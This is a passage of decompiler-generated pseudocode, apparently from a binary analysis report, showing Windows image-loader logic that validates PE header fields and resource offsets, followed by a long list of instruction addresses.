																			if(_v136 != _t729) {
																				_v68 = 0xc000007b;
																				goto L64;
																			}
																			_t699 = _t571 & 0x7fffffff;
																			_t575 = E00A11C45(_v92, _t571 & 0x7fffffff,  &_v80);
																			__eflags = _t575;
																			if(_t575 >= 0) {
																				L75:
																				_t729 = _v80;
																				_v124 = _t729;
																				break;
																			}
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		if(__eflags < 0) {
																			_t671 = _v168 + 0xfffffff8;
																			_v204 = _t671;
																			__eflags = _v180;
																			if(_v180 == 0) {
																				_t546 = _t723 - 1;
																				_v132 = _t546;
																				_t699 = _v104;
																			} else {
																				_v132 = _t723;
																				_t546 = _t723;
																				_t699 = _v104;
																			}
																		} else {
																			_t622 = _v168 + 8;
																			_v152 = _t622;
																			_v132 = _t723;
																			_t671 = _v204;
																			_t546 = _t723;
																			_t699 = _v104;
																		}
																		continue;
																	}
																}
																if(_t546 == 0) {
																	break;
																}
																_t724 = _v92;
																_t699 = _v140;
																_t478 = E00A48379(_v100, _v140, _a4, _v128, _t724, _t622, _v140,  &_v192);
																_v68 = _t478;
																if(_t478 < 0) {
																	goto L270;
																}
																if(_v192 == _t729) {
																	_t577 =  *(_t622 + 4);
																	__eflags = _t577;
																	if(_t577 >= 0) {
																		__eflags = _v84 - _t729;
																		if(_v84 == _t729) {
																			_t572 = _t577 + _t724;
																			goto L137;
																		}
																		__eflags = _v136 - _t729;
																		if(_v136 == _t729) {
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		_t699 = _t577;
																		_t578 = E00A11C45(_t724, _t577,  &_v80);
																		__eflags = _t578;
																		if(_t578 < 0) {
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		goto L136;
																	}
																	__eflags = _v84 - _t729;
																	if(_v84 == _t729) {
																		_t729 = (_t577 & 0x7fffffff) + _t724;
																		_v124 = _t729;
																		break;
																	}
																	__eflags = _v136 - _t729;
																	if(_v136 != _t729) {
																		_v68 = 0xc000007b;
																		goto L64;
																	}
																	_t699 = _t577 & 0x7fffffff;
																	_t580 = E00A11C45(_t724, _t577 & 0x7fffffff,  &_v80);
																	__eflags = _t580;
																	if(_t580 < 0) {
																		_v68 = 0xc000007b;
																		goto L64;
																	}
																	goto L75;
																}
																break;
															}
															_t699 = _v104;
															if(_v136 != 0) {
																__eflags = _v88;
																if(_v88 != 0) {
																	goto L53;
																}
																__eflags = _t699 & 0x00000004;
																if((_t699 & 0x00000004) != 0) {
																	L58:
																	_t716 = _v84;
																	_t611 = _a24;
																	goto L59;
																}
																_t557 = _v172 + 1;
																_v172 = _t557;
																_v112 = _t557;
																_t672 = _t557 & 0x0000ffff;
																__eflags = _t672 - _v148;
																_t560 = _v176;
																if(_t672 >= _v148) {
																	__eflags =  *((char*)(_t560 + 0x204));
																	if( *((char*)(_t560 + 0x204)) != 0) {
																		goto L53;
																	}
																	_t699 = _t699 | 0x00000020;
																	_v104 = _t699;
																	_a40 = _t699;
																	_t546 = _v116;
																	_t717 = _v188;
																	_t669 = _v84;
																	goto L44;
																}
																_v128 =  *(_t560 + 4 + _t672 * 8) & 0x0000ffff;
																_t546 = _v116;
																_t717 = _v188;
																L46:
																_t729 = 0;
																_v124 = 0;
																_t622 = _t717;
																_v152 = _t622;
																_t105 = _t546 - 1; // 0x0
																_t671 = _t717 + _t105 * 8;
																_v204 = _t671;
																_v132 = _t546;
																goto L47;
															}
															L53:
															_t555 = _v160 + 4;
															_v160 = _t555;
															_v208 = _t555;
															_t611 = _a24;
															_t632 = _v73;
															_t484 = _v120;
															goto L18;
														}
													}
													_t729 = 0;
													_v124 = 0;
													__eflags = _t669;
													if(_t669 == 0) {
														_t562 =  *(_t717 + 4) + _v92;
														_v88 = _t562;
														_v96 = _t562;
														goto L57;
													} else {
														_t699 =  *(_t717 + 4);
														_t565 = E00A11C45(_v92,  *(_t717 + 4),  &_v80);
														__eflags = _t565;
														if(_t565 < 0) {
															_v68 = 0xc000007b;
															goto L64;
														}
														_t674 = _v80;
														_v88 = _t674;
														_v96 = _t674;
														_t699 = _v104;
														L57:
														_v128 =  *_t717;
														goto L58;
													}
													L101:
													__eflags = _t699;
													if(_t699 != 0) {
														L61:
														__eflags = _t729;
														if(_t729 != 0) {
															__eflags = _t699;
															if(_t699 == 0) {
																goto L62;
															}
															__eflags = _t716;
															if(_t716 == 0) {
																_t699 = _v100 & 0xfffffffc;
																_t615 = _a4;
																L173:
																_t634 = _v200;
																__eflags = _t634;
																if(_t634 == 0) {
																	L178:
																	_v68 = 0;
																	goto L64;
																}
																__eflags = _t716;
																if(_t716 == 0) {
																	L177:
																	 *_t634 = _t729;
																	goto L178;
																}
																__eflags = _t729 - _t699;
																if(_t729 < _t699) {
																	L204:
																	_v68 = 0xc000007b;
																	goto L64;
																}
																__eflags = _t729 - _t699 + _t615;
																if(_t729 > _t699 + _t615) {
																	_v68 = 0xc000007b;
																	goto L64;
																}
																goto L177;
															}
															_t699 = 0x18;
															_t499 = E00A11C45(_t729, 0x18,  &_v80);
															__eflags = _t499;
															if(_t499 < 0) {
																_v124 = 0;
																_v68 = 0xc000007b;
																goto L64;
															}
															_t699 = _v100 & 0xfffffffc;
															_t615 = _a4;
															__eflags = _t729 + 0x18 - _t699 + _t615;
															if(_t729 + 0x18 > _t699 + _t615) {
																_v124 = 0;
																_v68 = 0xc000007b;
																goto L64;
															}
															goto L173;
														}
														goto L62;
													}
													_t616 = _v92;
													__eflags = _t716;
													if(_t716 == 0) {
														_t702 = _v100;
														L105:
														_t637 = _v108;
														__eflags = _t637;
														if(_t637 != 0) {
															 *_t637 = _v128;
														}
														_t719 = _t702 & 0xfffffffc;
														__eflags = _t702 & 0x00000001;
														if((_t702 & 0x00000001) != 0) {
															L145:
															_t638 = _v156;
															_t501 =  *(_t638 + 0x18) & 0x0000ffff;
															_t699 = 0x10b;
															__eflags = _t501 - 0x10b;
															if(_t501 != 0x10b) {
																_t699 = 0x20b;
																__eflags = _t501 - 0x20b;
																if(_t501 != 0x20b) {
																	L255:
																	_v96 = 0;
																	_v68 = 0xc0000089;
																	goto L64;
																}
																_t730 =  *(_t638 + 0x98);
																L147:
																__eflags = _t730;
																if(_t730 == 0) {
																	goto L255;
																}
																__eflags = _v84;
																if(_v84 == 0) {
																	L152:
																	_t619 = _t730 - _v92 + _t719;
																	_v108 = _t619;
																	_v212 = _t619;
																	_t699 = _a4;
																	_t731 = L00A147A3(_t719, _a4, _t638, _v164, _t730, _v144);
																	__eflags = _t731;
																	if(_t731 == 0) {
																		_v96 = 0;
																		_v68 = 0xc000007b;
																		goto L64;
																	}
																	__eflags = _v73;
																	if(_v73 != 0) {
																		_t699 = _v88;
																		_t478 = E00AA94CA(_v140,  &_v64, 0x10);
																		_v68 = _t478;
																		__eflags = _t478;
																		if(_t478 < 0) {
																			goto L270;
																		}
																		_t504 =  &_v64;
																		_v88 = _t504;
																		_v96 = _t504;
																		L155:
																		_t505 =  *_t504;
																		__eflags = _t505 -  *((intOrPtr*)(_t731 + 8));
																		if(_t505 <=  *((intOrPtr*)(_t731 + 8))) {
																			goto L111;
																		}
																		_v108 =  *((intOrPtr*)(_t731 + 0xc));
																		_t699 = _a4;
																		_t524 = L00A147A3(_t719, _a4, _v156, _v164, _t505, _v144);
																		__eflags = _t524;
																		if(_t524 == 0) {
																			_v96 = 0;
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		_t733 =  *((intOrPtr*)(_t524 + 0xc));
																		_v180 = _t733;
																		_t525 = L00A147A3(_t719, _a4, _v156, _v164, _t733, _v144);
																		_v144 = _t525;
																		_t653 = _v84;
																		__eflags = _t525;
																		if(_t525 == 0) {
																			_t734 = 0;
																			L163:
																			__eflags = _t653;
																			if(_t653 == 0) {
																				L167:
																				_t619 = _t619 +  *((intOrPtr*)(_t525 + 0xc)) - _t734 - _v108 + _v92;
																				goto L110;
																			}
																			_t699 = _v108;
																			_t530 = L00A4865D(_t525,  *((intOrPtr*)(_t525 + 0xc)), _v108,  &_v80);
																			__eflags = _t530;
																			if(_t530 < 0) {
																				_v68 = 0xc000007b;
																				goto L64;
																			}
																			_t699 = _t734 - _v92;
																			_t532 = L00A4865D( &_v80, _v80, _t734 - _v92,  &_v80);
																			__eflags = _t532;
																			if(_t532 < 0) {
																				_v68 = 0xc000007b;
																				goto L64;
																			}
																			_t525 = _v144;
																			goto L167;
																		}
																		__eflags = _t653;
																		if(_t653 == 0) {
																			L162:
																			_t734 =  *((intOrPtr*)(_t525 + 0x14)) -  *((intOrPtr*)(_t525 + 0xc)) + _v180 + _t719;
																			__eflags = _t734;
																			goto L163;
																		}
																		_t699 = _t733 -  *((intOrPtr*)(_t525 + 0xc));
																		_t533 = E00A11C45(_t719, _t733 -  *((intOrPtr*)(_t525 + 0xc)),  &_v80);
																		__eflags = _t533;
																		if(_t533 < 0) {
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		_t699 =  *(_v144 + 0x14);
																		_t535 = E00A11C45(_v80,  *(_v144 + 0x14),  &_v80);
																		__eflags = _t535;
																		if(_t535 < 0) {
																			_v68 = 0xc000007b;
																			goto L64;
																		}
																		_t525 = _v144;
																		_t653 = _v84;
																		goto L162;
																	}
																	_t504 = _v88;
																	goto L155;
																}
																_t699 = _t730;
																_t537 = E00A11C45(_t719, _t730,  &_v80);
																__eflags = _t537;
																if(_t537 < 0) {
																	_v68 = 0xc000007b;
																	goto L64;
																}
																_t699 = _t616;
																_t539 = L00A4865D( &_v80, _v80, _t616,  &_v80);
																__eflags = _t539;
																if(_t539 < 0) {
																	_v68 = 0xc000007b;
																	goto L64;
																}
																_t638 = _v156;
																goto L152;
															}
															_t730 =  *(_t638 + 0x88);
															goto L147;
														} else {
															__eflags = _v73;
															if(_v73 != 0) {
																goto L145;
															}
															_t619 = 0;
															__eflags = 0;
															L110:
															_v212 = _t619;
															_v108 = _t619;
															L111:
															_t699 = _v88;
															_t732 =  *(_t699 + 4);
															_t506 = _v84;
															__eflags = _t506;
															if(_t506 == 0) {
																_t620 = 0;
																L119:
																_t641 = _v200;
																__eflags = _t641;
																if(_t641 == 0) {
																	L126:
																	_t621 = _v220;
																	__eflags = _t621;
																	if(_t621 == 0) {
																		L132:
																		_v68 = 0;
																		goto L64;
																	}
																	__eflags = _v84;
																	if(_v84 == 0) {
																		L131:
																		 *_t621 = _t732;
																		goto L132;
																	}
																	__eflags = _t641;
																	if(_t641 == 0) {
																		goto L131;
																	}
																	_t720 =  *_t641;
																	_t699 = _t732;
																	_t508 = E00A11C45(_t720, _t732,  &_v80);
																	__eflags = _t508;
																	if(_t508 < 0) {
																		_v68 = 0xc000007b;
																		goto L64;
																	}
																	__eflags = _t732 + _t720 - (_v100 & 0xfffffffc) + _a4;
																	if(_t732 + _t720 > (_v100 & 0xfffffffc) + _a4) {
																		_v68 = 0xc000007b;
																		goto L64;
																	}
																	goto L131;
																}
																__eflags = _t506;
																if(_t506 == 0) {
																	_t512 =  *_t699 - _v108 + _t719;
																	L125:
																	 *_t641 = _t512;
																	goto L126;
																}
																_t699 = _t620;
																_t514 = E00A11C45(_t719, _t620,  &_v80);
																__eflags = _t514;
																if(_t514 < 0) {
																	_v68 = 0xc000007b;
																	goto L64;
																}
																_t647 = _v80;
																__eflags = _t647 - _t719;
																if(_t647 < _t719) {
																	goto L204;
																}
																__eflags = _t647 - (_t719 & 0xfffffffc) + _a4;
																if(_t647 > (_t719 & 0xfffffffc) + _a4) {
																	goto L204;
																}
																_t512 = _t620 + _t719;
																_t641 = _v200;
																goto L125;
															}
															_t699 = _t619;
															_t520 = L00A4865D(_v88,  *_v88, _t619,  &_v80);
															__eflags = _t520;
															if(_t520 < 0) {
																_v68 = 0xc000007b;
																goto L64;
															}
															_t620 = _v80;
															__eflags = _t620 - _v92 - _v100;
															if(_t620 < _v92 - _v100) {
																L236:
																_v96 = 0;
																_v68 = 0xc000007b;
																goto L64;
															}
															_t649 = _a4;
															__eflags = _t620 - _t649;
															if(_t620 > _t649) {
																goto L236;
															}
															__eflags = _t732;
															if(_t732 == 0) {
																goto L236;
															}
															__eflags = _t732 - _t649;
															if(_t732 > _t649) {
																goto L236;
															}
															__eflags = _t732 + _t620 - _t649;
															if(_t732 + _t620 > _t649) {
																_v96 = 0;
																_v68 = 0xc000007b;
																goto L64;
															}
															_t506 = _v84;
															_t699 = _v88;
															goto L119;
														}
													}
													_t541 = _v88;
													__eflags = _t541 - _t616;
													if(_t541 <= _t616) {
														goto L236;
													}
													_t699 = _v100;
													__eflags = _t541 + 0x10 - (_v100 & 0xfffffffc) + _a4;
													if(_t541 + 0x10 > (_v100 & 0xfffffffc) + _a4) {
														goto L236;
													}
													goto L105;
												}
												goto L46;
											}
										}
										if(_t546 != 0) {
											__eflags = _v84;
											if(_v84 == 0) {
												L98:
												_t717 = _t721 + _t546 * 8;
												_v188 = _t717;
												_v152 = _t717;
												_t632 = _v73;
												goto L31;
											}
											_t699 = _t546;
											_t587 = E00A11C45(_t721, _t546,  &_v80);
											__eflags = _t587;
											if(_t587 < 0) {
												_v68 = 0xc000007b;
												goto L64;
											}
											_t546 = _v116;
											goto L98;
										}
										L31:
										if(_t632 != 0) {
											_t546 = _v34 & 0x0000ffff;
										} else {
											_t546 =  *(_t729 + 0xe) & 0x0000ffff;
										}
										_v116 = _t546;
										_v132 = _t546;
										_t669 = _v84;
										if(_t669 == 0) {
											goto L41;
										} else {
											_t699 = _t546 * 8 >> 0x20;
											_t583 = _t546 * 8;
											_v184 = _t583;
											_v180 = _t699;
											_t775 = _t699;
											if(_t775 < 0 || _t775 <= 0 && _t583 <= 0xffffffff) {
												_v196 = _t583;
												_t689 = _t583 + _t717;
												if(_t689 < _t717) {
													L205:
													_v80 = 0xffffffff;
													_v68 = 0xc000007b;
													goto L64;
												}
												_v80 = _t689;
												if(_t689 > (_v100 & 0xfffffffc) + _a4) {
													_v68 = 0xc000007b;
													goto L64;
												}
												_t546 = _v116;
												goto L40;
											} else {
												_v196 = 0xffffffff;
												_v68 = 0xc000007b;
												goto L64;
											}
										}
									}
									L22:
									if(_t716 == 0) {
										L26:
										if(_t632 != 0) {
											goto L203;
										}
										_t546 =  *(_t729 + 0xc) & 0x0000ffff;
										goto L28;
									}
									_t69 = _t729 + 0x18; // 0x18
									_t698 = _t69;
									if(_t698 < _t729) {
										goto L205;
									}
									_v80 = _t698;
									if(_t698 > (_v100 & 0xfffffffc) + _a4) {
										goto L204;
									} else {
										_t632 = _v73;
										goto L26;
									}
								}
								_t699 = _t699 & 0x00000002;
								__eflags = _v88;
								if(_v88 != 0) {
									goto L101;
								}
								goto L61;
							} else {
								goto L196;
							}
						} else {
							goto L196;
						}
					}
				}
				L1:
				_t474 = 0x7ffe0385;
				goto L2;
			}

0x00a478a0
0x00a478a5
0x00a478a7
0x00a478ac
0x00a478b7
0x00a478be
0x00a478c3
0x00a478c6
0x00a478c8
0x00a478ce
0x00a478d2
0x00a478d8
0x00a478db
0x00a478e1
0x00a478e4
0x00a478e7
0x00a478ea
0x00a478ed
0x00a478f6
0x00a478fc
0x00a478ff
0x00a47908
0x00a47911
0x00a4791a
0x00a47923
0x00a4792b
0x00a4792c
0x00a4792d
0x00a4792e
0x00a47931
0x00a47938
0x00a4793b
0x00a4793e
0x00a47942
0x00a4794c
0x00a47956
0x00a47960
0x00a47970
0x00a47975
0x00a888bf
0x00a888c2
0x00000000
0x00000000
0x00a888d1
0x00a47980
0x00a47983
0x00a888db
0x00a888e0
0x00a888e2
0x00a888f4
0x00a888e4
0x00a888ed
0x00a888ed
0x00a888f9
0x00a88902
0x00a88907
0x00a88907
0x00a4798b
0x00a8892e
0x00a8892e
0x00000000
0x00a479a1
0x00a479a1
0x00a479a4
0x00a479a4
0x00a479aa
0x00000000
0x00000000
0x00a479b0
0x00a479b3
0x00a479b6
0x00a479bc
0x00a88912
0x00a88918
0x00a8891a
0x00000000
0x00000000
0x00a8891c
0x00a8891f
0x00000000
0x00000000
0x00a88921
0x00a88928
0x00000000
0x00000000
0x00000000
0x00a88928
0x00a479c2
0x00a479c4
0x00a479ca
0x00a479d0
0x00a479e2
0x00a88938
0x00a479e8
0x00a479e8
0x00a479e8
0x00a479ea
0x00a479ef
0x00a479fd
0x00a47a0c
0x00a8893f
0x00a88946
0x00000000
0x00000000
0x00a88948
0x00a47a12
0x00a47a18
0x00a47a1a
0x00a47a1d
0x00a47a20
0x00a47a27
0x00a47a2e
0x00a47a3c
0x00a47a43
0x00a47a46
0x00a47a48
0x00a47a48
0x00a47a4b
0x00a47a56
0x00a47a5c
0x00a47a5c
0x00a47a5c
0x00a47a61
0x00000000
0x00000000
0x00a47a6a
0x00a47a6b
0x00a47a6e
0x00a47a76
0x00a47a79
0x00a47c68
0x00a47c68
0x00000000
0x00a47c68
0x00a47a87
0x00a47a8e
0x00a47e5b
0x00a47e5e
0x00000000
0x00000000
0x00a47e64
0x00a47e6a
0x00a47e70
0x00a47e72
0x00a8894d
0x00a47c92
0x00a47c92
0x00a47c95
0x00a47c95
0x00a47c97
0x00a88d23
0x00a88d28
0x00a88d28
0x00a47ca3
0x00a47ca6
0x00a47ca8
0x00a88d34
0x00a88d37
0x00000000
0x00000000
0x00a88d46
0x00000000
0x00a47cae
0x00a47cae
0x00a47cae
0x00a47cb3
0x00a47cb3
0x00a47cb6
0x00a88d50
0x00a88d55
0x00a88d57
0x00a88d69
0x00a88d59
0x00a88d62
0x00a88d62
0x00a88d6e
0x00a88d77
0x00a88d77
0x00a47cbc
0x00a47cc3
0x00a47cc6
0x00a47cc9
0x00a47cd1
0x00a47cd2
0x00a47cd3
0x00a47cd7
0x00a47ce1
0x00a47ce1
0x00a47ca8
0x00a47e7b
0x00a47e84
0x00a47e8a
0x00a47e90
0x00a47e92
0x00a47e94
0x00a47ea4
0x00a47ea4
0x00a47e94
0x00a47a94
0x00a47a96
0x00a8895f
0x00a88967
0x00a8896c
0x00a8896f
0x00a88971
0x00a88da0
0x00a88da0
0x00000000
0x00a88da0
0x00a88977
0x00a8897a
0x00a8897c
0x00000000
0x00000000
0x00a88982
0x00a88982
0x00a47ace
0x00a47ace
0x00a47ad1
0x00a47ad6
0x00a47dfa
0x00a47dfc
0x00000000
0x00000000
0x00a47e07
0x00a47e11
0x00a47e16
0x00a47e18
0x00a889aa
0x00000000
0x00a889aa
0x00a47e22
0x00a47e28
0x00a47e2d
0x00a47e32
0x00a47e34
0x00a889b6
0x00000000
0x00a889b6
0x00a47e48
0x00a47e4a
0x00a889c2
0x00000000
0x00a889c2
0x00a47e50
0x00a47e53
0x00a47e53
0x00a47adc
0x00a47adc
0x00a47adc
0x00a47adf
0x00a47ae5
0x00a47af2
0x00a47b63
0x00a47b66
0x00a47b68
0x00a4828b
0x00a48292
0x00a47c80
0x00a47c80
0x00a47c82
0x00a47c85
0x00a480d1
0x00a480d1
0x00a480d4
0x00a88cfa
0x00a88cfd
0x00a88d0b
0x00a88cff
0x00a88cff
0x00a88cff
0x00a480da
0x00a480da
0x00a480da
0x00a47c8b
0x00a47c8b
0x00a47c8b
0x00000000
0x00a47c85
0x00a47b72
0x00a88a05
0x00a88a08
0x00a88a0a
0x00a88a18
0x00a88a1d
0x00a88a24
0x00a88a24
0x00a88a27
0x00a88a3f
0x00a88a41
0x00a88a44
0x00a88a46
0x00a88a56
0x00a88a62
0x00a88a67
0x00a88a6a
0x00a88a6c
0x00000000
0x00000000
0x00a88a72
0x00a88a78
0x00a88a81
0x00a88a88
0x00a88a94
0x00a88aa0
0x00a88aa6
0x00a88aa9
0x00a88aac
0x00a88aaf
0x00000000
0x00a88a48
0x00a88a48
0x00000000
0x00a88a48
0x00a88a46
0x00a47b78
0x00a47b78
0x00000000
0x00a47b80
0x00a47b80
0x00a47b87
0x00a47ee1
0x00a47ee4
0x00a47b90
0x00a47b90
0x00a47b90
0x00a47b92
0x00a47b95
0x00a47b97
0x00a47b9d
0x00a47ba0
0x00a47ba3
0x00a47ba9
0x00a47bb0
0x00a47bb0
0x00a47bb0
0x00a47bb2
0x00000000
0x00000000
0x00a47bb6
0x00a47bb8
0x00a47d29
0x00a47d29
0x00a47d2b
0x00a47d31
0x00a47d34
0x00a47d3a
0x00a47d3c
0x00a47d3c
0x00a47d3f
0x00a47d3f
0x00a47d57
0x00a47d60
0x00a47d65
0x00a47d68
0x00a47d6a
0x00000000
0x00a47d70
0x00a47d76
0x00a47d78
0x00a48091
0x00a48094
0x00a48096
0x00a88aee
0x00a88af0
0x00a88af3
0x00a88af6
0x00a88b31
0x00a48080
0x00a48080
0x00a48083
0x00000000
0x00a48083
0x00a88af8
0x00a88afe
0x00a88b10
0x00a88b15
0x00a88b1a
0x00a88b1c
0x00a4807d
0x00a4807d
0x00000000
0x00a4807d
0x00a88b22
0x00000000
0x00a88b22
0x00a88b00
0x00000000
0x00a88b00
0x00a4809c
0x00a4809f
0x00a88ae3
0x00a88ae6
0x00000000
0x00a88ae6
0x00a480a5
0x00a480ab
0x00a88ac3
0x00000000
0x00a88ac3
0x00a480ba
0x00a480bf
0x00a480c4
0x00a480c6
0x00a47d1e
0x00a47d1e
0x00a47d21
0x00000000
0x00a47d21
0x00a88acf
0x00000000
0x00a88acf
0x00a47d7e
0x00a4830e
0x00a48311
0x00a48317
0x00a4831e
0x00a4832d
0x00a48330
0x00a48333
0x00a48320
0x00a48320
0x00a48323
0x00a48325
0x00a48325
0x00a47d84
0x00a47d8a
0x00a47d8d
0x00a47d93
0x00a47d96
0x00a47d9c
0x00a47d9e
0x00a47d9e
0x00000000
0x00a47d7e
0x00a47d6a
0x00a47bc0
0x00000000
0x00000000
0x00a47bcb
0x00a47bd5
0x00a47bde
0x00a47be3
0x00a47be8
0x00000000
0x00000000
0x00a47bf4
0x00a47ce4
0x00a47ce7
0x00a47ce9
0x00a48053
0x00a48056
0x00a88b68
0x00000000
0x00a88b68
0x00a4805c
0x00a48062
0x00a88b50
0x00000000
0x00a88b50
0x00a4806c
0x00a48070
0x00a48075
0x00a48077
0x00a88b5c
0x00000000
0x00a88b5c
0x00000000
0x00a48077
0x00a47cef
0x00a47cf2
0x00a48343
0x00a48345
0x00000000
0x00a48345
0x00a47cf8
0x00a47cfe
0x00a88b38
0x00000000
0x00a88b38
0x00a47d0d
0x00a47d11
0x00a47d16
0x00a47d18
0x00a88b44
0x00000000
0x00a88b44
0x00000000
0x00a47d18
0x00000000
0x00a47bf4
0x00a47bfa
0x00a47c04
0x00a47da6
0x00a47daa
0x00000000
0x00000000
0x00a47db0
0x00a47db3
0x00a47c62
0x00a47c62
0x00a47c65
0x00000000
0x00a47c65
0x00a47dbf
0x00a47dc1
0x00a47dc7
0x00a47dcb
0x00a47dd6
0x00a47dd8
0x00a47dde
0x00a88b6f
0x00a88b76
0x00000000
0x00000000
0x00a88b7c
0x00a88b7f
0x00a88b82
0x00a88b85
0x00a88b88
0x00a88b8e
0x00000000
0x00a88b8e
0x00a47de9
0x00a47dec
0x00a47def
0x00a47b90
0x00a47b90
0x00a47b92
0x00a47b95
0x00a47b97
0x00a47b9d
0x00a47ba0
0x00a47ba3
0x00a47ba9
0x00000000
0x00a47ba9
0x00a47c0a
0x00a47c10
0x00a47c13
0x00a47c19
0x00a47c1f
0x00a47c22
0x00a47c25
0x00000000
0x00a47c25
0x00a47b90
0x00a47c2d
0x00a47c2f
0x00a47c32
0x00a47c34
0x00a48350
0x00a48353
0x00a48356
0x00000000
0x00a47c3a
0x00a47c3e
0x00a47c44
0x00a47c49
0x00a47c4b
0x00a88ab7
0x00000000
0x00a88ab7
0x00a47c51
0x00a47c54
0x00a47c57
0x00a47c5a
0x00a47c5d
0x00a47c5f
0x00000000
0x00a47c5f
0x00a47eef
0x00a47eef
0x00a47ef1
0x00a47c78
0x00a47c78
0x00a47c7a
0x00a4829a
0x00a4829c
0x00000000
0x00000000
0x00a482a2
0x00a482a4
0x00a88ce3
0x00a88ce6
0x00a482d9
0x00a482d9
0x00a482df
0x00a482e1
0x00a482fc
0x00a482fc
0x00000000
0x00a482fc
0x00a482e3
0x00a482e5
0x00a482fa
0x00a482fa
0x00000000
0x00a482fa
0x00a482e7
0x00a482e9
0x00a8898b
0x00a8898b
0x00000000
0x00a8898b
0x00a482f2
0x00a482f4
0x00a88cee
0x00000000
0x00a88cee
0x00000000
0x00a482f4
0x00a482ae
0x00a482b5
0x00a482ba
0x00a482bc
0x00a88cba
0x00a88cc1
0x00000000
0x00a88cc1
0x00a482c5
0x00a482c8
0x00a482d1
0x00a482d3
0x00a88ccd
0x00a88cd4
0x00000000
0x00a88cd4
0x00000000
0x00a482d3
0x00000000
0x00a47c7a
0x00a47ef7
0x00a47efa
0x00a47efc
0x00a4835e
0x00a47f23
0x00a47f23
0x00a47f26
0x00a47f28
0x00a47f2d
0x00a47f2d
0x00a47f32
0x00a47f35
0x00a47f38
0x00a480e6
0x00a480e6
0x00a480ec
0x00a480f0
0x00a480f5
0x00a480f8
0x00a88ba9
0x00a88bae
0x00a88bb1
0x00a88ca7
0x00a88ca7
0x00a88cae
0x00000000
0x00a88cae
0x00a88bb7
0x00a48104
0x00a48104
0x00a48106
0x00000000
0x00000000
0x00a4810c
0x00a48110
0x00a48143
0x00a48148
0x00a4814a
0x00a4814d
0x00a48161
0x00a4816b
0x00a4816d
0x00a4816f
0x00a88bda
0x00a88be1
0x00000000
0x00a88be1
0x00a48175
0x00a48179
0x00a88bf3
0x00a88bfc
0x00a88c01
0x00a88c04
0x00a88c06
0x00000000
0x00000000
0x00a88c0c
0x00a88c0f
0x00a88c12
0x00a48182
0x00a48182
0x00a48184
0x00a48187
0x00000000
0x00000000
0x00a48190
0x00a481a6
0x00a481ab
0x00a481b0
0x00a481b2
0x00a88c1a
0x00a88c21
0x00000000
0x00a88c21
0x00a481b8
0x00a481bb
0x00a481d9
0x00a481de
0x00a481e4
0x00a481e7
0x00a481e9
0x00a88c45
0x00a4823f
0x00a4823f
0x00a48241
0x00a48279
0x00a48284
0x00000000
0x00a48284
0x00a48247
0x00a4824d
0x00a48252
0x00a48254
0x00a88c4c
0x00000000
0x00a88c4c
0x00a48260
0x00a48266
0x00a4826b
0x00a4826d
0x00a88c58
0x00000000
0x00a88c58
0x00a48273
0x00000000
0x00a48273
0x00a481ef
0x00a481f1
0x00a48231
0x00a4823d
0x00a4823d
0x00000000
0x00a4823d
0x00a481f9
0x00a481fe
0x00a48203
0x00a48205
0x00a88c2d
0x00000000
0x00a88c2d
0x00a48215
0x00a4821b
0x00a48220
0x00a48222
0x00a88c39
0x00000000
0x00a88c39
0x00a48228
0x00a4822e
0x00000000
0x00a4822e
0x00a4817f
0x00000000
0x00a4817f
0x00a48116
0x00a4811a
0x00a4811f
0x00a48121
0x00a88bc2
0x00000000
0x00a88bc2
0x00a4812b
0x00a48130
0x00a48135
0x00a48137
0x00a88bce
0x00000000
0x00a88bce
0x00a4813d
0x00000000
0x00a4813d
0x00a480fe
0x00000000
0x00a47f3e
0x00a47f3e
0x00a47f42
0x00000000
0x00000000
0x00a47f48
0x00a47f48
0x00a47f4a
0x00a47f4a
0x00a47f50
0x00a47f53
0x00a47f53
0x00a47f56
0x00a47f59
0x00a47f5c
0x00a47f5e
0x00a48366
0x00a47fb9
0x00a47fb9
0x00a47fbf
0x00a47fc1
0x00a48006
0x00a48006
0x00a4800c
0x00a4800e
0x00a48047
0x00a48047
0x00000000
0x00a48047
0x00a48010
0x00a48014
0x00a48045
0x00a48045
0x00000000
0x00a48045
0x00a48016
0x00a48018
0x00000000
0x00000000
0x00a4801a
0x00a48020
0x00a48024
0x00a48029
0x00a4802b
0x00a88c8f
0x00000000
0x00a88c8f
0x00a4803d
0x00a4803f
0x00a88c9b
0x00000000
0x00a88c9b
0x00000000
0x00a4803f
0x00a47fc3
0x00a47fc5
0x00a48372
0x00a48004
0x00a48004
0x00000000
0x00a48004
0x00a47fcf
0x00a47fd3
0x00a47fd8
0x00a47fda
0x00a88c83
0x00000000
0x00a88c83
0x00a47fe0
0x00a47fe3
0x00a47fe5
0x00000000
0x00000000
0x00a47ff3
0x00a47ff5
0x00000000
0x00000000
0x00a47ffb
0x00a47ffe
0x00000000
0x00a47ffe
0x00a47f68
0x00a47f6f
0x00a47f74
0x00a47f76
0x00a88c64
0x00000000
0x00a88c64
0x00a47f7c
0x00a47f85
0x00a47f87
0x00a88b96
0x00a88b96
0x00a88b9d
0x00000000
0x00a88b9d
0x00a47f8d
0x00a47f90
0x00a47f92
0x00000000
0x00000000
0x00a47f98
0x00a47f9a
0x00000000
0x00000000
0x00a47fa0
0x00a47fa2
0x00000000
0x00000000
0x00a47fab
0x00a47fad
0x00a88c70
0x00a88c77
0x00000000
0x00a88c77
0x00a47fb3
0x00a47fb6
0x00000000
0x00a47fb6
0x00a47f38
0x00a47f02
0x00a47f05
0x00a47f07
0x00000000
0x00000000
0x00a47f0d
0x00a47f1b
0x00a47f1d
0x00000000
0x00000000
0x00000000
0x00a47f1d
0x00000000
0x00a47b87
0x00a47b80
0x00a47af6
0x00a47eac
0x00a47eb0
0x00a47eca
0x00a47eca
0x00a47ecd
0x00a47ed3
0x00a47ed9
0x00000000
0x00a47ed9
0x00a47eb6
0x00a47eba
0x00a47ebf
0x00a47ec1
0x00a889ce
0x00000000
0x00a889ce
0x00a47ec7
0x00000000
0x00a47ec7
0x00a47afc
0x00a47afe
0x00a889da
0x00a47b04
0x00a47b04
0x00a47b04
0x00a47b08
0x00a47b0b
0x00a47b0e
0x00a47b13
0x00000000
0x00a47b15
0x00a47b1a
0x00a47b1a
0x00a47b1c
0x00a47b22
0x00a47b28
0x00a47b2a
0x00a47b3b
0x00a47b41
0x00a47b46
0x00a88997
0x00a88997
0x00a8899e
0x00000000
0x00a8899e
0x00a47b4c
0x00a47b5a
